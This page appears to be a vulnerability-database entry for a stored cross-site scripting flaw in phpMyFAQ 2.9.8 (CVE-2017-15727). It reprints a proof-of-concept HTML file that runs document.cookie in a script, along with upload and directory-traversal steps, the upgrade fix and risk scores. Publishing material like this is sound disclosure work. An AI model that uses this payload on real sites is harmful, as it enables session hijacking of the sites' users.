PHPMyFAQ 2.9.8 - Cross-Site Scripting (3)
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | phpMyFAQ cross-site scripting vulnerability (CNVD-2017-33504) | 23 Oct 201700:00 | – | cnvd |
 | CVE-2017-15727 | 21 Oct 201722:00 | – | cve |
 | CVE-2017-15727 | 21 Oct 201722:00 | – | cvelist |
 | EUVD-2017-7150 | 7 Oct 202500:30 | – | euvd |
 | CVE-2017-15727 | 22 Oct 201718:29 | – | nvd |
 | phpMyFAQ < 2.9.9 Multiple XSS And CSRF Vulnerabilities | 21 Sep 201700:00 | – | openvas |
 | Cross site scripting | 22 Oct 201718:29 | – | prion |
 | Cross-site Scripting (XSS) | 23 Oct 201700:52 | – | veracode |
# Exploit Title: phpMyFAQ 2.9.8 Stored XSS Vulnerability
# Date: 28-9-2017
# Exploit Author: Nikhil Mittal (Payatu Labs)
# Vendor Homepage: http://www.phpmyfaq.de/
# Software Link: http://download.phpmyfaq.de/phpMyFAQ-2.9.8.zip
# Version: 2.9.8
# Tested on: MAC OS
# CVE : 2017-15727
1. Description
In phpMyFAQ before 2.9.9, there is Stored Cross-site Scripting (XSS) via an HTML attachment.
2. Proof of concept
Exploit code
<!DOCTYPE html>
<html>
<head>
<title>XSS EXPLOIT</title>
</head>
<body>
<script>confirm(document.cookie)</script>
</body>
</html>
Steps to reproduce:
1. Create a user having limited access rights to attachment section
2. Goto http://localhost/phpmyfaq/admin/?action=editentry
2. Upload the exploit code with .html extension at the place of attachements
3. Access the file url generated at /phpmyfaq/attachments/<random_path>
4. Reach to last file using directory traversal and XSS will triage
3. Solution
Update to phpMyFAQ Version 2.9.9
http://download.phpmyfaq.de/phpMyFAQ-2.9.9.zipData
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30 Oct 2017 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 23.5
CVSS 35.4
EPSS0.01798